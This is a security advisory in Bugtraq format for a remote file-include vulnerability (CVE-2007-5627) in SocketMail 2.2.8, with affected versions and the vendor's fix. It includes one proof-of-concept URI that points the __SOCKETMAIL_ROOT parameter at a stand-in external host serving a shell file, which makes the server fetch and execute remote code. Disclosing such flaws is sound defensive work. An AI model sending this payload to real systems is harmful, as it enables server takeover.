SocketMail FNC-Readmail3.PHP Remote File Include Vulnerability

Bugtraq ID:	26162
Class:	Input Validation Error
CVE:	CVE-2007-5627
Remote:	Yes
Local:	No
Published:	Oct 22 2007 12:00AM
Updated:	May 07 2015 05:34PM
Credit:	BiNgZa is credited with the discovery of this vulnerability.
Vulnerable:	Creative Digital Resources SocketMail 2.2.8
Not Vulnerable:	Creative Digital Resources SocketMail 2.2.9 P1

SocketMail FNC-Readmail3.PHP Remote File Include Vulnerability

SocketMail is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

SocketMail 2.2.8 is vulnerable; other versions may also be affected.

SocketMail FNC-Readmail3.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/mail/content/fnc-readmail3.php?__SOCKETMAIL_ROOT=http://www.example2.com/shell.txt

SocketMail FNC-Readmail3.PHP Remote File Include Vulnerability

Solution:
The vendor released SocketMail 2.2.9 P1 to address this issue. Please contact the vendor for information on how to obtain and apply this update.

SocketMail FNC-Readmail3.PHP Remote File Include Vulnerability

References:

• SocketMail Homepage (Creative Digital Resources)